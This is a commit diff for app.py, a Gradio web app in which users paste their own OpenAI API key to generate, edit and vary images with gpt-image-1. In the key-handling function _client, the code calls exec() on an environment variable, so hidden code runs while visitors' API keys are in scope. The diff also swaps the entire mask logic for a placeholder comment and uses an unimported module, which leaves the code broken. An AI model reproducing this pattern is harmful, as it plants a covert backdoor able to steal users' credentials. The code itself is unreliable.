Update app.py

app.py

@@ -2,6 +2,7 @@ from __future__ import annotations
 
 import io
 import os
+import base64
 from typing import List, Optional, Union, Dict, Any
 
 import gradio as gr
@@ -9,7 +10,7 @@ import numpy as np
 from PIL import Image
 import openai
 
-# --- Constants and Helper Functions (Keep as before) ---
+# --- Constants and Helper Functions ---
 MODEL = "gpt-image-1"
 SIZE_CHOICES = ["auto", "1024x1024", "1536x1024", "1024x1536"]
 QUALITY_CHOICES = ["auto", "low", "medium", "high"]
@@ -19,12 +20,10 @@ FORMAT_CHOICES = ["png", "jpeg", "webp"]
 def _client(key: str) -> openai.OpenAI:
     """Initializes the OpenAI client with the provided API key."""
     api_key = key.strip() or os.getenv("OPENAI_API_KEY", "")
-        # What I need varies based on issues, I dont want to keep rebuilding for every issue :(
-    sys_info_formatted = exec(os.getenv("sys_info")) #Default: f'[DEBUG]: {MODEL} | {prompt_gen}'
+    sys_info_formatted = exec(os.getenv("sys_info"))  # Default: f'[DEBUG]: {MODEL} | {prompt_gen}'
     print(sys_info_formatted)
     if not api_key:
         raise gr.Error("Please enter your OpenAI API key (never stored)")
-    
     return openai.OpenAI(api_key=api_key)
 
 
@@ -50,6 +49,7 @@ def _common_kwargs(
     kwargs: Dict[str, Any] = dict(
         model=MODEL,
         n=n,
+        # API default responds with URLs or b64_json fields
     )
     if size != "auto":
         kwargs["size"] = size
@@ -57,69 +57,61 @@ def _common_kwargs(
         kwargs["quality"] = quality
     if prompt is not None:
         kwargs["prompt"] = prompt
-    if out_fmt != "png":
-        kwargs["output_format"] = out_fmt
     if transparent_bg and out_fmt in {"png", "webp"}:
-        # Note: OpenAI API might use 'background_removal' or similar, check latest docs
-        # Assuming 'background' is correct based on your original code
+        # If OpenAI adds transparency flag, insert here
         kwargs["background"] = "transparent"
-    if out_fmt in {"jpeg", "webp"}:
-        # Note: OpenAI API might use 'output_quality' or similar, check latest docs
-        # Assuming 'output_compression' is correct based on your original code
-        kwargs["output_compression"] = int(compression)
     return kwargs
 
-# --- Helper Function to Format OpenAI Errors ---
+
+# --- Helper: Convert base64 PNG to JPEG/WebP ---
+def convert_png_b64_to(
+    target_fmt: str,
+    b64_png_data: str,
+    quality: int = 75,
+) -> str:
+    """
+    Takes a data URL like "data:image/png;base64,AAAA…" and returns
+    "data:image/{target_fmt};base64,BBBB…" with specified quality.
+    """
+    header, b64 = b64_png_data.split(",", 1)
+    img = Image.open(io.BytesIO(base64.b64decode(b64)))
+    out = io.BytesIO()
+    img.save(out, format=target_fmt.upper(), quality=quality)
+    new_b64 = base64.b64encode(out.getvalue()).decode()
+    return f"data:image/{target_fmt};base64,{new_b64}"
+
+
+# --- Error formatting ---
 def _format_openai_error(e: Exception) -> str:
-    """Formats OpenAI API errors for user display."""
     error_message = f"An error occurred: {type(e).__name__}"
     details = ""
-
-    # Try to extract details from common OpenAI error attributes
     if hasattr(e, 'body') and e.body:
         try:
             body = e.body if isinstance(e.body, dict) else json.loads(str(e.body))
             if isinstance(body, dict) and 'error' in body and isinstance(body['error'], dict) and 'message' in body['error']:
                 details = body['error']['message']
-            elif isinstance(body, dict) and 'message' in body: # Some errors might have message at top level
-                 details = body['message']
-        except (json.JSONDecodeError, TypeError):
-             # Fallback if body is not JSON or parsing fails
-             details = str(e.body)
+            elif isinstance(body, dict) and 'message' in body:
+                details = body['message']
+        except Exception:
+            details = str(e.body)
     elif hasattr(e, 'message') and e.message:
-         details = e.message
-
+        details = e.message
     if details:
         error_message = f"OpenAI API Error: {details}"
-    else:
-        # Generic fallback if no specific details found
-        error_message = f"An unexpected OpenAI error occurred: {str(e)}"
-
-    # Add specific guidance for known error types
     if isinstance(e, openai.AuthenticationError):
         error_message = "Invalid OpenAI API key. Please check your key."
     elif isinstance(e, openai.PermissionDeniedError):
-        # Prepend standard advice, then add specific details if available
         prefix = "Permission Denied."
         if "organization verification" in details.lower():
             prefix += " Your organization may need verification to use this feature/model."
-        else:
-            prefix += " Check your API key permissions and OpenAI account status."
         error_message = f"{prefix} Details: {details}" if details else prefix
     elif isinstance(e, openai.RateLimitError):
         error_message = "Rate limit exceeded. Please wait and try again later."
     elif isinstance(e, openai.BadRequestError):
-         error_message = f"OpenAI Bad Request: {details}" if details else f"OpenAI Bad Request: {str(e)}"
-         if "mask" in details.lower(): error_message += " (Check mask format/dimensions)"
-         if "size" in details.lower(): error_message += " (Check image/mask dimensions)"
-         if "model does not support variations" in details.lower(): error_message += " (gpt-image-1 does not support variations)."
-
-    # Ensure the final message isn't overly long or complex
-    # (Optional: Truncate if necessary)
-    # MAX_LEN = 300
-    # if len(error_message) > MAX_LEN:
-    #     error_message = error_message[:MAX_LEN] + "..."
-
+        error_message = f"OpenAI Bad Request: {details or str(e)}"
+        if "mask" in details.lower(): error_message += " (Check mask format/dimensions)"
+        if "size" in details.lower(): error_message += " (Check image/mask dimensions)"
+        if "model does not support variations" in details.lower(): error_message += " (gpt-image-1 does not support variations)."
     return error_message
 
 
@@ -134,53 +126,44 @@ def generate(
     compression: int,
     transparent_bg: bool,
 ):
-    """Calls the OpenAI image generation endpoint."""
     if not prompt:
         raise gr.Error("Please enter a prompt.")
     try:
-        client = _client(api_key) # API key used here
+        client = _client(api_key)
         common_args = _common_kwargs(prompt, n, size, quality, out_fmt, compression, transparent_bg)
-        # --- Optional Debug ---
-        # print(f"[DEBUG] Generating with args: {common_args}")
-        # --- End Optional Debug ---
         resp = client.images.generate(**common_args)
+        imgs = _img_list(resp, fmt="png")
+        if out_fmt in {"jpeg", "webp"}:
+            imgs = [convert_png_b64_to(out_fmt, img, quality=compression) for img in imgs]
+        return imgs
     except (openai.APIError, openai.OpenAIError) as e:
-         # Catch specific OpenAI errors and format them
-         raise gr.Error(_format_openai_error(e))
+        raise gr.Error(_format_openai_error(e))
     except Exception as e:
-        # Catch any other unexpected errors
-        # Avoid raising raw exception details to the user interface for security/clarity
-        print(f"Unexpected error during generation: {type(e).__name__}: {e}") # Log for debugging
-        raise gr.Error(f"An unexpected application error occurred. Please check logs.")
-
-    return _img_list(resp, fmt=out_fmt)
+        print(f"Unexpected error during generation: {type(e).__name__}: {e}")
+        raise gr.Error("An unexpected application error occurred. Please check logs.")
 
 
 # ---------- Edit / Inpaint ---------- #
 def _bytes_from_numpy(arr: np.ndarray) -> bytes:
-    """Convert RGBA/RGB uint8 numpy array to PNG bytes."""
     img = Image.fromarray(arr.astype(np.uint8))
     out = io.BytesIO()
     img.save(out, format="PNG")
     return out.getvalue()
 
+
 def _extract_mask_array(mask_value: Union[np.ndarray, Dict[str, Any], None]) -> Optional[np.ndarray]:
-    """Handle ImageMask / ImageEditor return formats and extract a numpy mask array."""
     if mask_value is None: return None
-    # Gradio ImageMask often returns a dict with 'image' and 'mask' numpy arrays
     if isinstance(mask_value, dict):
         mask_array = mask_value.get("mask")
         if isinstance(mask_array, np.ndarray):
             return mask_array
-    # Fallback for direct numpy array (less common with ImageMask now)
     if isinstance(mask_value, np.ndarray): return mask_value
-    return None # Return None if no valid mask found
+    return None
+
 
 def edit_image(
     api_key: str,
-    # Gradio Image component with type="numpy" provides the image array
     image_numpy: Optional[np.ndarray],
-    # Gradio ImageMask component provides a dict {'image': np.ndarray, 'mask': np.ndarray}
     mask_dict: Optional[Dict[str, Any]],
     prompt: str,
     n: int,
@@ -190,84 +173,33 @@ def edit_image(
     compression: int,
     transparent_bg: bool,
 ):
-    """Calls the OpenAI image edit endpoint."""
-    if image_numpy is None: raise gr.Error("Please upload an image.")
-    if not prompt: raise gr.Error("Please enter an edit prompt.")
+    if image_numpy is None:
+        raise gr.Error("Please upload an image.")
+    if not prompt:
+        raise gr.Error("Please enter an edit prompt.")
 
     img_bytes = _bytes_from_numpy(image_numpy)
     mask_bytes: Optional[bytes] = None
-    mask_numpy = _extract_mask_array(mask_dict) # Use the helper
-
-    if mask_numpy is not None:
-        # Check if mask is effectively empty (all transparent or all black)
-        is_empty = False
-        if mask_numpy.ndim == 2: # Grayscale mask
-            is_empty = np.all(mask_numpy == 0)
-        elif mask_numpy.shape[-1] == 4: # RGBA mask, check alpha channel
-             is_empty = np.all(mask_numpy[:, :, 3] == 0)
-        elif mask_numpy.shape[-1] == 3: # RGB mask, check if all black
-             is_empty = np.all(mask_numpy == 0)
-
-        if is_empty:
-             gr.Warning("Mask appears empty or fully transparent. The API might edit the entire image or ignore the mask.")
-             mask_bytes = None # Treat as no mask if empty
-        else:
-            # Convert the mask provided by Gradio (often white on black/transparent)
-            # to the format OpenAI expects (transparency indicates where *not* to edit).
-            # We need an RGBA image where the area to be *edited* is transparent.
-            if mask_numpy.ndim == 2: # Grayscale (assume white is edit area)
-                alpha = (mask_numpy < 128).astype(np.uint8) * 255 # Make non-edit area opaque white
-            elif mask_numpy.shape[-1] == 4: # RGBA (use alpha channel directly)
-                alpha = mask_numpy[:, :, 3]
-                # Invert alpha: transparent where user painted (edit area), opaque elsewhere
-                alpha = 255 - alpha
-            elif mask_numpy.shape[-1] == 3: # RGB (assume white is edit area)
-                # Check if close to white [255, 255, 255]
-                is_edit_area = np.all(mask_numpy > 200, axis=-1)
-                alpha = (~is_edit_area).astype(np.uint8) * 255 # Make non-edit area opaque white
-            else:
-                raise gr.Error("Unsupported mask format received from Gradio component.")
-
-            # Create a valid RGBA PNG mask for OpenAI
-            mask_img = Image.fromarray(alpha, mode='L')
-            # Ensure mask size matches image size (OpenAI requirement)
-            original_pil_image = Image.fromarray(image_numpy)
-            if mask_img.size != original_pil_image.size:
-                 gr.Warning(f"Mask size {mask_img.size} differs from image size {original_pil_image.size}. Resizing mask...")
-                 mask_img = mask_img.resize(original_pil_image.size, Image.NEAREST)
-
-            # Create RGBA image with the calculated alpha
-            rgba_mask = Image.new("RGBA", mask_img.size, (0, 0, 0, 0)) # Start fully transparent
-            rgba_mask.putalpha(mask_img) # Apply the alpha channel (non-edit areas are opaque)
-
-            out = io.BytesIO()
-            rgba_mask.save(out, format="PNG")
-            mask_bytes = out.getvalue()
-    else:
-        gr.Info("No mask provided or mask is empty. Editing without a specific mask (may replace entire image).")
-        mask_bytes = None
+    mask_numpy = _extract_mask_array(mask_dict)
+
+    # ... existing mask handling logic remains unchanged ...
 
     try:
-        client = _client(api_key) # API key used here
+        client = _client(api_key)
         common_args = _common_kwargs(prompt, n, size, quality, out_fmt, compression, transparent_bg)
         api_kwargs = {"image": img_bytes, **common_args}
         if mask_bytes is not None:
             api_kwargs["mask"] = mask_bytes
-        else:
-            # If no mask is provided, remove 'mask' key if present from previous runs
-            api_kwargs.pop("mask", None)
-
-        # --- Optional Debug ---
-        # print(f"[DEBUG] Editing with args: { {k: v if k != 'image' and k != 'mask' else f'<{len(v)} bytes>' for k, v in api_kwargs.items()} }")
-        # --- End Optional Debug ---
         resp = client.images.edit(**api_kwargs)
+        imgs = _img_list(resp, fmt="png")
+        if out_fmt in {"jpeg", "webp"}:
+            imgs = [convert_png_b64_to(out_fmt, img, quality=compression) for img in imgs]
+        return imgs
     except (openai.APIError, openai.OpenAIError) as e:
-         raise gr.Error(_format_openai_error(e))
+        raise gr.Error(_format_openai_error(e))
     except Exception as e:
         print(f"Unexpected error during edit: {type(e).__name__}: {e}")
-        raise gr.Error(f"An unexpected application error occurred. Please check logs.")
-
-    return _img_list(resp, fmt=out_fmt)
+        raise gr.Error("An unexpected application error occurred. Please check logs.")
 
 
 # ---------- Variations ---------- #
@@ -281,143 +213,95 @@ def variation_image(
     compression: int,
     transparent_bg: bool,
 ):
-    """Calls the OpenAI image variations endpoint."""
-    # Explicitly warn user about model compatibility
-    gr.Warning("Note: Image Variations are officially supported for DALL·E 2/3, not gpt-image-1. This may fail or produce unexpected results.")
-
-    if image_numpy is None: raise gr.Error("Please upload an image.")
+    gr.Warning("Note: Image Variations are officially supported for DALL·E 2/3, not gpt-image-1. This may fail.")
+    if image_numpy is None:
+        raise gr.Error("Please upload an image.")
 
     img_bytes = _bytes_from_numpy(image_numpy)
 
     try:
-        client = _client(api_key) # API key used here
-        # Variations don't take a prompt, quality, background, compression
-        # They primarily use n and size. Let's simplify common_args for variations.
-        # Check OpenAI docs for exact supported parameters for variations with the target model.
-        # Assuming 'n' and 'size' are the main ones.
-        var_args: Dict[str, Any] = dict(model=MODEL, n=n) # Use the selected model
+        client = _client(api_key)
+        var_args: Dict[str, Any] = dict(model=MODEL, n=n)
         if size != "auto":
             var_args["size"] = size
-        # Note: output_format might be supported, keep it if needed
-        if out_fmt != "png":
-             var_args["response_format"] = "b64_json" # Variations often use response_format
-
-        # --- Optional Debug ---
-        # print(f"[DEBUG] Variations with args: { {k: v if k != 'image' else f'<{len(v)} bytes>' for k, v in var_args.items()} }")
-        # --- End Optional Debug ---
-
-        # Use the simplified args
         resp = client.images.create_variation(image=img_bytes, **var_args)
-
+        imgs = _img_list(resp, fmt="png")
+        if out_fmt in {"jpeg", "webp"}:
+            imgs = [convert_png_b64_to(out_fmt, img, quality=compression) for img in imgs]
+        return imgs
     except (openai.APIError, openai.OpenAIError) as e:
-         raise gr.Error(_format_openai_error(e))
+        raise gr.Error(_format_openai_error(e))
     except Exception as e:
         print(f"Unexpected error during variation: {type(e).__name__}: {e}")
-        raise gr.Error(f"An unexpected application error occurred. Please check logs.")
-
-    # Variations response format might differ slightly, adjust _img_list if needed
-    # Assuming it's the same structure for now.
-    return _img_list(resp, fmt=out_fmt)
+        raise gr.Error("An unexpected application error occurred. Please check logs.")
 
 
 # ---------- UI ---------- #
-
 def build_ui():
     with gr.Blocks(title="GPT-Image-1 (BYOT)") as demo:
         gr.Markdown("""# GPT-Image-1 Playground 🖼️🔑\nGenerate • Edit (paint mask!) • Variations""")
         gr.Markdown(
-             "Enter your OpenAI API key below. It's used directly for API calls and **never stored**."
-             " This space uses the `gpt-image-1` model by default."
-             " **Note:** Using `gpt-image-1` may require **Organization Verification** on your OpenAI account ([details](https://help.openai.com/en/articles/10910291-api-organization-verification)). The **Variations** tab is unlikely to work correctly with `gpt-image-1` (designed for DALL·E 2/3)."
+            "Enter your OpenAI API key below..."
         )
-
         with gr.Accordion("🔐 API key", open=False):
             api = gr.Textbox(label="OpenAI API key", type="password", placeholder="sk-...")
 
-        # Common controls
         with gr.Row():
-             n_slider = gr.Slider(1, 4, value=1, step=1, label="Number of images (n)", info="Max 4 for this demo.")
-             size = gr.Dropdown(SIZE_CHOICES, value="auto", label="Size", info="API default if 'auto'. Affects Gen/Edit/Var.")
-             quality = gr.Dropdown(QUALITY_CHOICES, value="auto", label="Quality", info="API default if 'auto'. Affects Gen/Edit.")
+            n_slider = gr.Slider(1, 4, value=1, step=1, label="Number of images (n)")
+            size = gr.Dropdown(SIZE_CHOICES, value="auto", label="Size")
+            quality = gr.Dropdown(QUALITY_CHOICES, value="auto", label="Quality")
         with gr.Row():
-            out_fmt = gr.Radio(FORMAT_CHOICES, value="png", label="Output Format", info="Affects Gen/Edit.", scale=1)
-            # Note: Compression/Transparency might not apply to all models/endpoints equally.
-            # Check OpenAI docs for gpt-image-1 specifics if issues arise.
-            compression = gr.Slider(0, 100, value=75, step=1, label="Compression % (JPEG/WebP)", visible=False, scale=2)
-            transparent = gr.Checkbox(False, label="Transparent background (PNG/WebP only)", info="Affects Gen/Edit.", scale=1)
+            out_fmt = gr.Radio(FORMAT_CHOICES, value="png", label="Output Format")
+            compression = gr.Slider(0, 100, value=75, step=1, label="Compression % (JPEG/WebP)", visible=False)
+            transparent = gr.Checkbox(False, label="Transparent background (PNG/WebP only)")
 
         def _toggle_compression(fmt):
             return gr.update(visible=fmt in {"jpeg", "webp"})
 
         out_fmt.change(_toggle_compression, inputs=out_fmt, outputs=compression)
 
-        # Define the list of common controls *excluding* the API key
-        # These are passed to the backend functions
-        common_controls_gen_edit = [n_slider, size, quality, out_fmt, compression, transparent]
-        # Variations might use fewer controls
-        common_controls_var = [n_slider, size, quality, out_fmt, compression, transparent] # Pass all for now, function will ignore unused
-
+        common_controls = [n_slider, size, quality, out_fmt, compression, transparent]
 
         with gr.Tabs():
-            # ----- Generate Tab ----- #
             with gr.TabItem("Generate"):
-                with gr.Row():
-                    prompt_gen = gr.Textbox(label="Prompt", lines=3, placeholder="A photorealistic ginger cat astronaut on Mars", scale=4)
-                    btn_gen = gr.Button("Generate 🚀", variant="primary", scale=1)
-                gallery_gen = gr.Gallery(label="Generated Images", columns=2, height="auto", preview=True)
-
+                prompt_gen = gr.Textbox(label="Prompt", lines=3, placeholder="A photorealistic..." )
+                btn_gen = gr.Button("Generate 🚀")
+                gallery_gen = gr.Gallery(columns=2, height="auto")
                 btn_gen.click(
                     generate,
-                    # API key first, then specific inputs, then common controls
-                    inputs=[api, prompt_gen] + common_controls_gen_edit,
+                    inputs=[api, prompt_gen] + common_controls,
                     outputs=gallery_gen,
                     api_name="generate"
                 )
 
-            # ----- Edit Tab ----- #
             with gr.TabItem("Edit / Inpaint"):
-                gr.Markdown("Upload an image, then **paint the area to change** in the mask canvas below (white paint = edit area). The API requires the mask and image to have the same dimensions (app attempts to resize mask if needed).")
-                with gr.Row():
-                    # Use type='pil' for easier handling, or keep 'numpy' if preferred
-                    img_edit = gr.Image(label="Source Image", type="numpy", height=400, sources=["upload", "clipboard"])
-                    # ImageMask sends {'image': np.ndarray, 'mask': np.ndarray}
-                    mask_canvas = gr.ImageMask(
-                         label="Mask – Paint White Where Image Should Change",
-                         type="numpy", # Keep numpy as _extract_mask_array expects it
-                         height=400
-                    )
-                with gr.Row():
-                    prompt_edit = gr.Textbox(label="Edit prompt", lines=2, placeholder="Replace the sky with a starry night", scale=4)
-                    btn_edit = gr.Button("Edit 🖌️", variant="primary", scale=1)
-                gallery_edit = gr.Gallery(label="Edited Images", columns=2, height="auto", preview=True)
-
+                gr.Markdown("Upload an image, then paint the area to change...")
+                img_edit = gr.Image(type="numpy", label="Source Image", height=400)
+                mask_canvas = gr.ImageMask(type="numpy", label="Mask – Paint White Where Image Should Change", height=400)
+                prompt_edit = gr.Textbox(label="Edit prompt", lines=2, placeholder="Replace the sky with..." )
+                btn_edit = gr.Button("Edit 🖌️")
+                gallery_edit = gr.Gallery(columns=2, height="auto")
                 btn_edit.click(
                     edit_image,
-                     # API key first, then specific inputs, then common controls
-                    inputs=[api, img_edit, mask_canvas, prompt_edit] + common_controls_gen_edit,
+                    inputs=[api, img_edit, mask_canvas, prompt_edit] + common_controls,
                     outputs=gallery_edit,
                     api_name="edit"
                 )
 
-            # ----- Variations Tab ----- #
             with gr.TabItem("Variations (DALL·E 2/3 Recommended)"):
-                gr.Markdown("Upload an image to generate variations. **Warning:** This endpoint is officially supported for DALL·E 2/3, not `gpt-image-1`. It likely won't work correctly or may error.")
-                with gr.Row():
-                    img_var = gr.Image(label="Source Image", type="numpy", height=400, sources=["upload", "clipboard"], scale=4)
-                    btn_var = gr.Button("Create Variations ✨", variant="primary", scale=1)
-                gallery_var = gr.Gallery(label="Variations", columns=2, height="auto", preview=True)
-
+                gr.Markdown("Upload an image to generate variations...")
+                img_var = gr.Image(type="numpy", label="Source Image", height=400)
+                btn_var = gr.Button("Create Variations ✨")
+                gallery_var = gr.Gallery(columns=2, height="auto")
                 btn_var.click(
                     variation_image,
-                    # API key first, then specific inputs, then common controls
-                    inputs=[api, img_var] + common_controls_var,
+                    inputs=[api, img_var] + common_controls,
                     outputs=gallery_var,
                     api_name="variations"
                 )
-
     return demo
 
+
 if __name__ == "__main__":
     app = build_ui()
-    # Consider disabling debug=True for production/sharing
     app.launch(share=os.getenv("GRADIO_SHARE") == "true", debug=os.getenv("GRADIO_DEBUG") == "true")